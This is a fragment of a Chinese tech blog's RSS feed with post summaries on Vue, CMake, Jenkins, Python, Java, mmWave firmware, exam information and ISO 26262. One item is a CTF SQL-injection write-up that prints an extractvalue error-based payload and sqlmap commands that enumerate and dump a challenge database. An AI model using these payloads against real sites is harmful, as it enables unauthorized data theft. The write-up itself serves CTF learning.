      <description>方法：折叠面板默认展开值是activeNames，只需遍历所有的el-collapse-iteme，将其name值插入到&#xA;activeNames中即可。&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;el-collapse v-model=&#34;activeNames&#34;&amp;gt; &amp;lt;div v-for=&#34;(item,index) in moduleFiles&#34;&amp;gt; &amp;lt;el-collapse-item :title=&#34;item.totle&#34; :name=&#34;index&#34;&amp;gt; &amp;lt;div&amp;gt;{{item.content}}&amp;lt;/div&amp;gt; &amp;lt;/el-collapse-item&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/el-collapse&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; data() { return { moduleFiles:[ {title:&#34;好好学习&#34;,content:&#34;读书不仅仅是为了强大自我，而且是为了中华之崛起&#34;}, {title:&#34;好好学习&#34;,content:&#34;读书不仅仅是为了强大自我，而且是为了中华之崛起&#34;}, {title:&#34;好好学习&#34;,content:&#34;读书不仅仅是为了强大自我，而且是为了中华之崛起&#34;}, {title:&#34;好好学习&#34;,content:&#34;读书不仅仅是为了强大自我，而且是为了中华之崛起&#34;}, ], activeNames:[], } }, mounted(){ const open =[]; for(let i=0;i&amp;lt;this.moduleFiles.length;i++){ open.push(i); } this.activeNames = open; } 结果如下：</description>
    </item>
    <item>
      <title>CentOS安装CMake</title>
      <link>https://bchobby.github.io/posts/8b93a475103f972f9bd7c254c5dfddce/</link>
      <pubDate>Sat, 02 Jul 2022 17:27:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b93a475103f972f9bd7c254c5dfddce/</guid>
      <description> 文章目录 1 问题背景2 前言3 步骤 1 问题背景 最近想玩玩CLion远程调试JDK源码，需要用到CMake，因此来安装&#xA;2 前言 需要先看CLion支持哪个版本的CMake，再下载对应的版本。本文采用源码编译构建的方法安装。安装的步骤可以看源码包里面的READEME文件&#xA;3 步骤 去官网下载源码包，复制下载地址，如下图所示：&#xA;再CentOS找一个自己喜欢的路径，输入下面命令下载源码包：&#xA;# wget后面的那个链接就是上面复制的下载地址 wget -c https://github.com/Kitware/CMake/releases/download/v3.22.5/cmake-3.22.5.tar.gz 下载完成后就解压压缩包&#xA;tar -zxvf xxx.tar.gz 进入解压出来的目录，执行bootstrap文件&#xA;./bootstrap 上面的命令执行完后，会提示你接下来用gmake，直接输入gmake就好了：&#xA;gmake 上面命令执行完后，cmake就在主目录的bin文件夹里面，用下面的命令做一个软连接，让系统能识别cmake命令：&#xA;ln -s /cmake解压出来的绝对目录路径/bin/cmake /usr/bin/cmake 最后在任何路径下输入cmake --version都行了：&#xA;cmake --version </description>
    </item>
    <item>
      <title>GitLab &#43; Jenkins &#43; Docker 实现 CI/CD 集成发布</title>
      <link>https://bchobby.github.io/posts/3f4d179d515b3b8782494f690caca0c8/</link>
      <pubDate>Sat, 02 Jul 2022 12:02:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f4d179d515b3b8782494f690caca0c8/</guid>
      <description>前言 在没有持续集成持续发布之前，传统的开发模式是项目一开始就划分模块，等到所有代码开发完成之后再集成到一起进行测试，但是随着技术的发展，业务量不断增加，软件规模也在不断的扩大，单一的划分模块的方式就会出现特别多的问题，由于代码中的很多 Bug 在项目的早期就存在，等到最后集成测试的时候才发现问题，这样会导致开发者需要在集成阶段花费大量的时间去修改代码，再加上软件的复杂性短时间内很难定位错误位置，而持续集成的出现就可以消除这个弊端，下面来讲解什么是持续集成；&#xA;一、什么是持续集成？ 持续集成（Continuous integration，简称 CI）指的是，频繁的（一天多次）将代码集成到主干，如下图，程序员会将代码提交到代码仓库中，比如：GitHub、GitLab、Gitee等，提交到代码仓库之后通过集成工具（jenkins） 来将提交的代码拉取到集成机器当中，在集成机器上使用编译工具（maven/nodejs）对代码进行编译打包，通过将打好的包（jar/war）提交到需要部署的服务器运行打好的服务包实现交付，而每一次提交代码持续集成机器会通配置 Hook 来自动拉取代码，实现持续集成。&#xA;持续集成的目的：就是让产品可以快速迭代，同时还能保持高质量，它的核心措施是，将代码集成到主干之前，必须通过自动化测试们只要有一个测试用例失败，就不能集成；&#xA;二、持续集成的流程 下图为整个 CI/CD 的流程图，通过程序员提交代码到代码仓库，由代码仓库来管理程序员所提交的代码，通过 jenkins 服务器来讲代码拉取到本地，并使用 maven 工具对代码进行编译打包，并将打好的包发布到部署服务器并运行服务，下面则是整个构建流程：&#xA;1、提交（commit）：流程的第一步，是开发者向代码仓库提交代码，所有后面的步骤都始于本地代码的第一次提交（commit）。&#xA;2、测试（test 第一轮）：代码仓库对 commit 操作配置了钩子（hook），只要提交代码或者合并进主干，就会跑自动化测试；&#xA;3、构建（build）：通过第一轮测试，代码就可以合并进主干，就算可以交付了，交付后先进行构建（build），再进入第二轮测试，所谓构建就是指的就是将源码转换为可以运行的实际代码，比如安装依赖，配置各种资源（样式表、JS脚本、图片）等。&#xA;4、测试（test 第二轮）：构建完成，就要进行第二轮测试，如果第一轮已经涵盖了所有测试内容，第二轮可以省略，当然构建步骤也就需要移动到第一轮测试前面；&#xA;5、部署(deploy)：过了第二轮测试，当前代码就是一个可以直接部署的版本（artifact），将这个版本的所有文件打包（ tar filename.tar *）存档，发到生成服务器；&#xA;6、回滚(RollBACK)：一旦当前版本发生问题，就要回滚到上一个版本的构建结果，最简单的做法就是修改以下符号链接，指向上一个版本的目录；&#xA;持续集成的好处：&#xA;1、降低风险，由于持续集成不断去构建，编译和测试，可以很早期发现问题，所以修复的代价就少；&#xA;2、对系统健康持续检查，减少发布风险带来的问题；&#xA;3、减少重复性工作；&#xA;4、持续部署，提供可部署但元包；&#xA;5、持续交付可提供使用的版本；&#xA;6、增强团队信心；&#xA;三、jenkins 持续集成工具 Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件项目可以进行持续集成，在与 Oracle 发生争执后，项目从 Hudson 项目复刻。Jenkins 提供了软件开发的持续集成服务。它运行在 Servlet 容器中。它支持软件配置管理工具，可以执行基于 ApacheAnt 和 ApacheMaven 的项目，以及任意的 Shell 脚本和 Windows 批处理命令。Jenkins 的主要开发者是川口耕介。Jenkins 是在 MIT 许可证下发布的自由软件。。&#xA;1、开源的 Java 语言开发持续集成工具，支持持续集成，持续部署。&#xA;2、易于安装部署配置:可通过 yum 安装,或下载 war 包以及通过 docker 容器等快速实现安装部署，可方便 web 界面配置管理。</description>
    </item>
    <item>
      <title>python学习-7-异常 错误 调试 测试</title>
      <link>https://bchobby.github.io/posts/5b5b4d7a0ae4f3041e856f5928491195/</link>
      <pubDate>Sat, 02 Jul 2022 10:56:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b5b4d7a0ae4f3041e856f5928491195/</guid>
      <description> 错误处理 使用错误代码 代指 错误类型 正常结果与错误码混合在一起,容易混淆 所以必须抛出错误类型 一旦出错,还得一层层上报 错误也是一个类,错误与错误之间也有者关系,例如父子关系需要对不同类型的错误进行识别与区分,并针对性的进行处理python的错误是class,所有的 都继承自 BaseException try: foo() except ValueError as e: ssss except xxxx: ssss finally: ssss 需要注意,如果代码捕获的错误有父子关系,子在前,父在后,防止提前被捕获try-except的好处在于 可以跨越多层捕获,只要main捕获到就ok若未被捕获,则会一直往上抛,直到被python解释器捕获,最终打印出来 打印的顺序是从高往低最终可以定位到错误语句python解释器打印错误信息,会将程序中止 python内置的logging模块可以很容易的记录错误信息 logging也可以将错误信息记录到日志文件中 # 打印错误信息,与python解释器输出一样,但不会中止程序 import logging logging.exception(e) 有的时候,我们捕获了错误,但是不知道如何处理,可以先打印信息,然后继续raise(不带参数)抛出 调试 print (low)断言 eg:assert n!=0, &#39;n is zero&#39;n必须为0,否则抛出AssertionError: n is zeropython解释器可以用 -0 参数关闭assert,之后就相当于pass logging 使用logging代替print,打印变量的值logging.basicConfig(level=logging.INFO) 定义日志等级debug,info,warning,error,靠右原则,info时debug失效 pdb python解释器的debug ide的端点debug 单元测试 对一个模块/函数/类进行正确性检验的测试工作把测试用例放到一个测试模块中,就是一个完整的单元测试使用 编写一个测试类,继承unittest.TestCase每一类测试都写一个test_xxx()方法(严格规范)最常用的是self.assertEqual(方法,期待值)期待抛出的指定类型的Error # 当d[&#39;empty&#39;]访问不存在的key时,断言就会抛出KeyError with self.assertRaises(&#39;KeyError&#39;): value = d[&#39;empty&#39;] 直接运行脚本就ok,批量运行多个单元测试setUp与tearDown方法 在每个单元测试前后执行例如连接数据库,关闭数据库 文档测试 python官方文档文友一些示例代码doctest可直接提取注释中的代码并执行测试运行py,啥问题没有,就说明示例代码写的没有问题 </description>
    </item>
    <item>
      <title>CorelDRAW Graphics Suite2022免费图形设计软件</title>
      <link>https://bchobby.github.io/posts/1ee8cbdff27fa881a8cb7ff2f07d1674/</link>
      <pubDate>Sat, 02 Jul 2022 01:18:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ee8cbdff27fa881a8cb7ff2f07d1674/</guid>
      <description>CorelDRAW Graphics Suite2022是一款功能强大的软件，可取代等效的图形设计软件，轻松掌握，功能齐全。&#xA;CDR2022免费图形设计软件专业矢量插图、布局、照片编辑、版式和协作所需功能一应俱全。CorelDRAW® Graphics Suite 专为提高您的效率为目标而设计，受到全球数百万图形专业人员和设计团队的信赖，可提供无限创意，而不浪费任何时间。&#xA;CorelDRAW可以从任何地方使用！&#xA;它原生支持Windows和Mac的最新技术，包括Windows 11、macOS Monterey和苹果m 1芯片的卓越性能。 在Web、iPad和其他移动设备上也能体验到真正的跨平台体验。&#xA;CorelDRAW.app提供的针对触控操作进行了优化的用户界面，使您能够更好地处理移动设备和平板电脑上的工作。 因为还加入了ipad APP，所以即使在路上也能进行设计。&#xA;有影响力的创意内容&#xA;使用CorelDRAW产品商店提供的精彩免费内容，提高您的创造力。 可以尝试可下载的字体、填充、矢量、创意模板和其他，以提高设计水平。&#xA;印刷或网页设计&#xA;始终提供完美的出版和输出。 可以在打印前准确掌握实际打印的颜色，确保各种介质上的颜色一致。 此外，您还可以利用一套卓越的图形工具和预设，创建引人注目的网站内容。&#xA;支持多种文件格式&#xA;支持图形、出版和图像文件格式，可以导入和导出各种项目资源以满足客户的文件和需求。&#xA;CorelDRAW2022产品内容 主应用程序&#xA;CorelDRAW® - 矢量插图和页面布局Corel PHOTO-PAINT™ - 图像编辑和基于像素的设计程序Corel® Font Manager - 字体开发和管理工具PowerTRACE™ – 人工智能驱动的位图转矢量图（作为 CorelDRAW 应用程序配件随附）CorelDRAW.app™ – 通过网页浏览器进行在线矢量插图和图形设计CorelDRAW.app™ for iPad – 矢量插图和图形设计 iPad 应用程序CAPTURE™ - 截屏工具AfterShot™ HDR - RAW 照片编辑器 CorelDRAW2022内容&#xA;7,000 张剪贴画、数码图像和车辆包装模板1,000 张高分辨率数码照片超过 1,000 种 TrueType 和/或 OpenType 字体，以及对超过 1,000 种 Google 字体系列的集成访问150 个专业设计模板600 多种渐变填充、矢量填充和位图填充 需要 Internet 连接才能安装和认证 CorelDRAW Graphics Suite 及访问某些内含软件组件、在线功能和内容。</description>
    </item>
    <item>
      <title>Android CAN 简记</title>
      <link>https://bchobby.github.io/posts/3dc5f5ec17ca349e785ad13aa717afcd/</link>
      <pubDate>Fri, 01 Jul 2022 21:45:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3dc5f5ec17ca349e785ad13aa717afcd/</guid>
      <description>文章目录 概要adb 连接adb 常用操作CAN配置脚本SocketCANJNIJNI与SocketCANMakefilejnican.java生成的 jnican..hjnican.c运行github jni can NDKAndroid StudioAndroid_SocketCAN 工程ApktoolGithub Android_SocketCAN 概要 5年前的配置了:&#xA;MSM8953(骁龙625, 14nm, 8*Cortex-A53, 64bit, ARMv8-A, 2016年), 2+16GBAndroid 7.1.x, Linux内核是3.18.x屏幕分辨率是常见的 1280*800SOC没有CAN, 通过SPI外扩的两路CAN, MCP2515, 应用层上看还是SocketCAN. 这个Linux驱动其实挺不好整的, 特别是较老的内核和驱动, 连发丢帧的问题很明显 adb 连接 操作:&#xA;设置-&amp;gt;关于手机-&amp;gt;连点5下版本号-&amp;gt;返回到开发者选项-&amp;gt;开启USB调试. (可能不需要这个步骤)设置-&amp;gt;更多-&amp;gt;USB Host开关两次, 最后的状态是关 插拔USB, 就可以在 Win 的设备管理里面看到&#xA;然后就可以在 wsl2 或者 powershell 中操作了&#xA;# 配置环境变量就直接adb, 不配置就切换到adb目录, ./adb.exe adb version adb devices adb logcat adb shell # 如果出现 more than one device/emulator 错误 # 如果只有一个模拟器和一个手机连着电脑: # 可以用adb -e 来指明是操作模拟器 Emulator # 可以用adb -d 来指明是操作设备 Device adb -d shell 参考:</description>
    </item>
    <item>
      <title>常用类之BigDecimal、Date、Calender、SimpleDateFormat及System类</title>
      <link>https://bchobby.github.io/posts/b14d41a8237b1d49b9c7288fef93e39d/</link>
      <pubDate>Fri, 01 Jul 2022 19:56:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b14d41a8237b1d49b9c7288fef93e39d/</guid>
      <description>常用类 1.BigDecimal类 引言： 很多实际应用中需要精确运算，而double是近似值存储，不在符合要求，需要借助BIgDecimal。&#xA;BigDecimal 位置：java.math包中作用：精确计算浮点数基本类型存储在栈中，引用类型存储在堆中创建方式：BigDecimal bd=new BigDecimal(&#34;1.0&#34;); 方法：&#xA;BigDecimal add(BigDecimal db);//加 BigDecimal subtract(BigDecimal db);//减&#xA;BigDecimal multiply(BigDecimal db);//乘&#xA;BigDecimal divide(BigDecimal db);//除&#xA;除法：divide(BigDecimal bd,int scal,RoundingMode mode)&#xA;参数scal：指定精确到小数点后几位。参数mode：指定小数部分的取舍模式，通常采用四舍五入的模式，取值为BigDecimal.ROUND_HALF_UP。 1.1 BigDecimal代码演示 package classes.demo08; import java.math.BigDecimal; import java.math.RoundingMode; public class TestBigDecimal { public static void main(String[] args) { double d1=1.0;//double 是近似值存储 double d2=0.9; System.out.println(d1-d2);//输出0.09999999999999998 //面式题 double result=(1.4-0.5)/0.9; System.out.println(result);//输出0.9999999999999999 //BigDecimal，大的浮点数精确计算 BigDecimal bd1 = new BigDecimal(&#34;1.0&#34;); BigDecimal bd2 = new BigDecimal(&#34;0.9&#34;); //加法 BigDecimal r1 = bd1.</description>
    </item>
    <item>
      <title>【TI-mmWave】二、IWR6843ISK-ODS毫米波雷达【固件开发】流程</title>
      <link>https://bchobby.github.io/posts/4001fced7651552eb9d439058c279ab0/</link>
      <pubDate>Fri, 01 Jul 2022 18:04:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4001fced7651552eb9d439058c279ab0/</guid>
      <description>文章目录 固件开发环境-软件安装1.mmWave SDK2.MATLAB runtime3.Code Composer Studio（CCS） 固件编译和生成 此篇为TI毫米波雷达上手系列第二篇。 注：如果只需要使用做好的固件，那么请参考【mmWave】一、IWR6843ISK-ODS毫米波雷达【固件烧写和上手使用】流程，直接安装串口驱动和固件烧写工具即可使用。&#xA;本篇主要为了搭建对固件进行二次开发定制，生成.bin格式固件的环境。 固件开发环境-软件安装 下面这套流程可以参考TI官方的视频https://edu.21ic.com/video/2264&#xA;和 https://blog.csdn.net/lowbob/article/details/105671559这篇博文&#xA;1.mmWave SDK 下载：https://www.ti.com/tool/MMWAVE-SDK&#xA;我下载的版本是mmwave_sdk_03_05_00_04&#xA;安装不难&#xA;2.MATLAB runtime 是运行项目所需要的库，没装它项目会运行不了&#xA;下载：https://ww2.mathworks.cn/products/compiler/matlab-runtime.html&#xA;我安装的是MATLAB_Runtime_R2021a&#xA;安装不难&#xA;3.Code Composer Studio（CCS） 是TI的IDE，在这里开发项目，导入TI的项目。&#xA;如果我们需要自己设计满足需求的固件，就需要在CCS里面进行开发并生成固件。&#xA;安装后，在CCS里面的Resource Explorer导入Vital Signs工程&#xA;点右上角的Import&#xA;import的工程：&#xA;其自带bin，位于本地安装路径&#xA;.\CCS\ccs1120\ccs\tools\compiler\mmwave_industrial_toolbox_4_11_0\labs\Vital_Signs\68xx_vital_signs\prebuilt_binaries&#xA;可以直接使用该固件，烧录板子里，跑例程测试。&#xA;固件编译和生成 对导入的工程，如果自己修改了，需要生成新的固件，这需要在选项中配置项目所需SDK的位置，把SDK安装后所产生的文件夹都加入，才可build固件，详见：&#xA;【mmWave】三、CCS Projects导入报错：This project requires product SYS/BIOS v6.73.1.01, or equivalent…&#xA;配置好后，点击&#xA;就会生成用于烧写的固件&#xA;即可把这个固件拿去烧写了，烧写步骤见【mmWave】一、IWR6843ISK-ODS毫米波雷达【固件烧写和上手使用】流程&#xA;end</description>
    </item>
    <item>
      <title>vant组件样式通过类名修改无效问题</title>
      <link>https://bchobby.github.io/posts/04282df857750632b74531cb19cc8206/</link>
      <pubDate>Fri, 01 Jul 2022 18:02:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04282df857750632b74531cb19cc8206/</guid>
      <description>这里不说解决方案，记录下自己的粗心，如果你也跟我一样网上到处搜索类名修改vant组件无效的解决方案，大概率会搜到让你用deep穿透，去掉scope，导入css文件等方法。&#xA;在做这些之前，建议还是先去检查一下自己的less文件，你要修改的那个类是否放入正确的层级，层级不对加!important 都没用，如果真是这个原因，不要灰心，你只是用的比较少而已，才没有意识到这个问题，多用用就好了！</description>
    </item>
    <item>
      <title>2023大连大学计算机考研信息汇总</title>
      <link>https://bchobby.github.io/posts/3d8e49b395ca6548c11c0aa30addc7e4/</link>
      <pubDate>Fri, 01 Jul 2022 17:38:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d8e49b395ca6548c11c0aa30addc7e4/</guid>
      <description>大连大学研招网&#xA;http://yjs.dlu.edu.cn/&#xA;大连大学（Dalian University），简称连大（DLU），位于浪漫之都——辽宁省大连市，为教育部卓越教师培养计划、国家大学生文化素质教育基地入选高校，首批CDIO工程教育联盟成员单位。&#xA;1978年10月成立大连工学院旅大分校，后更名为大连工学院大连分院。1983年11月大连工学院大连分院更名为大连大学。1987年10月，与大连师范学校、大连市卫生学校三校合一，组建成为如今的大连大学。&#xA;初复试信息&#xA;【2022最新报考信息】&#xA;评级：&#xA;计算机C软件工程B- 计算机相关院系：&#xA;教育部先进设计与智能计算重点实验室 081200 计算机科学与技术083500 软件工程085400 电子信息 国家863重点实验室/国家工程实验室/教育部重点实验室&#xA;081200 计算机科学与技术083900 网络空间安全085400 电子信息 信息工程学院&#xA;081200 计算机科学与技术083900 网络空间安全085400 电子信息 软件学院&#xA;083500 软件工程 学制、学费、奖学金情况&#xA;学制：&#xA;(全日制)学术型硕士研究生学制为3年。&#xA;(全日制)工程硕士学制为3年。&#xA;学费&#xA;全日制临床医学学术型、临床医学专业型、口腔医学专业型、汉语国际教育专业型、体育硕士专业型、护理学、音乐与舞蹈学、美术学学科（专业）学费为：8000元/每生.每年；其他学科（专业）学费为：6000元/每生.每年。&#xA;非全日制学科（专业）学费为：8000元/每生.每年&#xA;奖学金&#xA;将进一步加大研究生奖助力度，建立和完善研究生学业奖学金、研究生助学金、研究生国家奖学金、研究生“三助”岗位等奖助政策体系，实现研究生奖助的全覆盖。&#xA;奖学金、助学金具体办法详见《大连大学研究生收费及奖、助学金办法》。&#xA;22大连大学初试科目：&#xA;教育部先进设计与智能计算重点实验室 081200 计算机科学与技术&#xA;①101思想政治理论 ②201英语一&#xA;③301数学一 ④838专业综合(操作系统50%+计算机网络50%)&#xA;083500 软件工程&#xA;①101思想政治理论 ②201英语一&#xA;③302数学二&#xA;④836数据结构&#xA;085400 电子信息&#xA;①101思想政治理论 ②204英语二&#xA;③302数学二 ④838专业综合(操作系统50%+计算机网络50%)&#xA;国家863重点实验室/国家工程实验室/教育部重点实验室&#xA;081200 计算机科学与技术&#xA;083900网络空间安全&#xA;①101思想政治理论 ②201英语一或203日语&#xA;③301数学一 ④838专业综合(操作系统50%+计算机网络50%)&#xA;085400 电子信息&#xA;①101思想政治理论 ②204英语二或203日语</description>
    </item>
    <item>
      <title>sql注入（sqlmap）</title>
      <link>https://bchobby.github.io/posts/9472f543aea47365fc2e8e9ca76344a6/</link>
      <pubDate>Fri, 01 Jul 2022 16:13:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9472f543aea47365fc2e8e9ca76344a6/</guid>
      <description>[SWPUCTF 2021 新生赛]error 通过id的报错可以判断是字符型注入，order by 得出字段数是3&#xA;函数解释： extractvalue()：从目标XML中返回包含所查询值的字符串。 EXTRACTVALUE (XML_document, XPath_string);&#xA;第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc 第二个参数：XPath_string (Xpath格式的字符串) extractvalue()能查询字符串的最大长度为32&#xA;简单来说，就是利用参数二的特殊字符串，去匹配参数一中的东西。&#xA;正常情况下 参数二的特殊字符串就是一段符合xpath语法规则的字符串。当参数二不符合xpath语法规矩，这个函数就会报错，显示出参数二的内容。&#xA;报错注入就是利用这个原理来进行的。&#xA;?id=1&#39; union select 1,extractvalue(1,concat(0x7e,(select version()),0x7e)),3--+ 看例子，这里的参数一是随便写的1，参数二是concat(0x7e,(select version()),0x7e)&#xA;concat函数是用来连接字符串的，就是将它的所有参数连接起来。&#xA;0x7e代表的是~，我们前面讲的要让参数二的字符串不符合xpath规则，然后报错。&#xA;由于 ~开头不符合xpath规则，所以这里使用concat来连接 ~ 和中间括号中的sql语句的执行结果。&#xA;所以通过concat连接后的字符串肯定不符合xpath规则，所以extractvalue函数肯定报错，从而使我们可以得到中间sql语句的执行结果&#xA;所以这道题试一下有无报错注入，&#xA;用sqlmap跑。&#xA;sqlmap -u “http://1.14.71.254:28188/index.php?id=1” --dbs&#xA;sqlmap -u “http://1.14.71.254:28188/index.php?id=1” -D test_db --tables&#xA;sqlmap -u “http://1.14.71.254:28188/index.php?id=1” -D test_db -T test_tb --columns&#xA;sqlmap -u “http://1.14.71.254:28188/index.php?id=1” -D test_db -T test_tb -C flag --dump&#xA;Sqlmap常用命令总结及注入实战（Access、mysql）_OKAY_TC的博客-CSDN博客_sqlmap命令&#xA;[强网杯 2019]随便注 打开界面，发现是一个字符型注入&#xA;输入select发现被过滤有些东西&#xA;然后开始堆叠注入，</description>
    </item>
    <item>
      <title>js中截取字符串的三个方法 substring()、substr()、slice()、C#截取字符串的方法</title>
      <link>https://bchobby.github.io/posts/f782ef1d62fad316da1a3f0928697f03/</link>
      <pubDate>Fri, 01 Jul 2022 10:33:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f782ef1d62fad316da1a3f0928697f03/</guid>
      <description>JS js中有三个截取字符的方法，分别是substring()、substr()、slice()，平时我们可能都用到过，但总是会对这些方法有点混淆，特别是substring()和substr()，连方法名都差不多，下面就具体来看一下区别。&#xA;相同点 这三个方法都可以对字符串进行截取，并且返回一个新的字符串，也就是不会对原字符串进行修改。&#xA;//chrome控制台 &amp;gt; var a = &#39;0123456789&#39; &amp;lt; undefined &amp;gt; a.substr(1,5) &amp;lt; &#34;12345&#34; &amp;gt; a &amp;lt; &#34;0123456789&#34; //没有发生改变 不同点 这三个方法的不同之处在于参数不同。&#xA;一、substring substring() 方法用于提取字符串中介于两个指定下标之间的字符。 语法&#xA;string.substring(start,stop);&#xA;参数&#xA;参数描述start必需。一个非负的整数，规定要提取的子串的第一个字符在 string 中的位置。stop可选。一个非负的整数，比要提取的子串的最后一个字符在 string 中的位置多 1。如果省略该参数，那么返回的子串会一直到字符串的结尾。 说明&#xA;1.substring() 方法返回的子串包括 start 处的字符，但不包括 stop 处的字符。&#xA;//chrome控制台 &amp;gt; var a = &#39;0123456789&#39; &amp;lt; undefined &amp;gt; a.substring(1,5) &amp;lt; &#34;1234&#34; 2.如果参数 start 与 stop 相等，那么该方法返回的就是一个空串（即长度为 0 的字符串）。&#xA;//chrome控制台 &amp;gt; var a = &#39;0123456789&#39; &amp;lt; undefined &amp;gt; a.</description>
    </item>
    <item>
      <title>VScode 模糊查找替换 正则</title>
      <link>https://bchobby.github.io/posts/1ecae885ad6e1283316881e42a8e8621/</link>
      <pubDate>Fri, 01 Jul 2022 10:21:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ecae885ad6e1283316881e42a8e8621/</guid>
      <description> 文章目录 1. 保留模糊匹配的部分2. 不保留模糊匹配的部分3. 正则3.1 正则匹配拼音3.2 正则匹配数字3.3 正则匹配空行3.4 正则匹配换行符加空行 1. 保留模糊匹配的部分 匹配以: 开头，以,结尾的字符串，替换成-开头的字符串。&#xA;例如：&#34;NXRCU&#34;: &#34;宁夏黄河农村商业银行&#34;,, 替换成 &#34;NXRCU&#34;-&#34;宁夏黄河农村商业银行&#34;&#xA;快捷键 Ctrl + f : (.*?), -$1 (.*?) 是模糊匹配的部分&#xA;$1 代表原模糊匹配的内容&#xA;替换前&#xA;替换后&#xA;2. 不保留模糊匹配的部分 匹配以: &#34;开头，以,结尾的字符串，替换成-。&#xA;例如：&#34;NXRCU&#34;: &#34;宁夏黄河农村商业银行&#34;, 替换成 &#34;NXRCU&#34;-&#34;&#xA;快捷键 Ctrl + f : &#34;(.*?), - 替换前&#xA;替换后&#xA;3. 正则 3.1 正则匹配拼音 (?&amp;lt;pingying&amp;gt;[āáǎàēéěèīíǐìōóǒòūúǔùǖǘǚǜüêɑńňɡａ-ｚＡ－ＺA-Za-z\\s∥-]+) 3.2 正则匹配数字 ([\d].*) 3.3 正则匹配空行 (^[ ]*$) 3.4 正则匹配换行符加空行 (\n^[ ]*$) </description>
    </item>
    <item>
      <title>“车规级”与“功能安全”（ISO26262）的区别——摘自《5万字长文说清“车规级”》...</title>
      <link>https://bchobby.github.io/posts/d3b87b1d4aeb4e2e1487ae1243e21003/</link>
      <pubDate>Fri, 01 Jul 2022 10:07:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3b87b1d4aeb4e2e1487ae1243e21003/</guid>
      <description>交流群 | 进“传感器群/滑板底盘群”请加微信号：xsh041388&#xA;交流群 | 进“域控制器群/操作系统群”请加微信号：ckc1087&#xA;备注信息：传感器/滑板底盘/域控制器+真实姓名、公司、岗位&#xA;本文摘自九章文章：《5万字长文说清楚到底什么是“车规级”》&#xA;“AEC-Q”认证与ISO26262功能安全认证的关系 我发现很多人搞不清楚“AEC-Q”认证与ISO26262功能安全认证之间的关系，经常把两者搞混淆，或者放到一起讲，其实这是不对的。AEC和ISO26262根本就是两码事，井水不犯河水，侧重点完全不一样。&#xA;“AEC-Q”认证我们已经讲得非常详细了，认证的对象必须是实物，且仅针对电子元器件（不包括零部件），如集成芯片、分立半导体、被动器件、MEMS器件、MCM模块等，认证由器件供应商Tier 2来进行认证测试。而ISO26262标准认证范围就很宽了，对象可以是实物，比如元器件，也可以是零部件；或是虚拟的非实体，比如认证一个公司流程（包括研发及生产），认证一个软件等。我大概画了个图，小伙伴们先看下，有个概念。&#xA;认证标准及区别（来源：左成钢）&#xA;1、 ISO 26262基本概念 我们先来讲一下ISO 26262功能安全标准的一些基本概念，然后再详细来讲其他的点，方便小伙伴们有个基本认知。按照惯例，我们直接回到标准原文：&#xA;ISO 26262介绍及范围（来源：ISO 26262-1:2011）&#xA;针对标准的适用范围，我们提炼一下重点：&#xA;适用于道路车辆，挖掘机啥的非道路车辆就不能算；&#xA;由电子、电气（E/E）和软件组件组成的系统相关。简单来说就是没电的肯定就不能算，比如你的车玻璃，虽然和安全相关，开着车玻璃突然炸裂了可能就会发生安全事故，但那也不算在功能安全标准范围内，而是算在《中国乘用车强制性国家标准》的被动安全里面的。&#xA;与安全相关的系统。非安全相关的，比如娱乐系统就不算，开车过程中音乐播放功能失效，没法听歌了，这就不能包含在功能安全范围内。&#xA;然后我们再看下“安全”的定义，安全是相对于危害而言的，这一点估计有些小伙伴们还没搞明白：&#xA;ISO 26262范围及术语定义（来源：ISO 26262-1:2011）&#xA;和安全相关是指，因E/E系统的故障行为而引起的可能的危害（hazards）；&#xA;危害（hazard）的定义是：由相关项的功能异常表现而导致的伤害（harm）的潜在来源；&#xA;伤害（harm）的定义是：对人身健康的物理损害（injury）或破坏（damage）；&#xA;标准术语比较拗口，我简单总结一下，用人话来讲就是：功能安全只管人会受伤的事情，只要人没事就不管了。当然这里不仅仅是受伤了，标准还包含了damage，大家自行理解，我就不翻译了。&#xA;最后总结一下，功能安全是用来干啥的。顾名思义，首先是要有一个具体的功能，抛开功能谈安全，那就是耍流氓。基于一个具体的功能，比如车辆行驶过程中转向失效导致方向盘无法转动，这就很具体，因为转向失效还包含了方向盘在没有操作的情况下自己转动的情况，这就要分开来讲了。再然后就是安全，比如你的车停在那里车门自动解锁打开了，然后东西被偷了，这也是安全，但就不算在功能安全里面，因为人没有受伤，人没事就不算。如果是行驶过程中门突然自己打开，人掉下去了，这就是功能安全了，大家要区分清楚。&#xA;接下来我们再来讲一下目前功能安全认证的两种类型。&#xA;2、 功能安全流程认证及产品认证 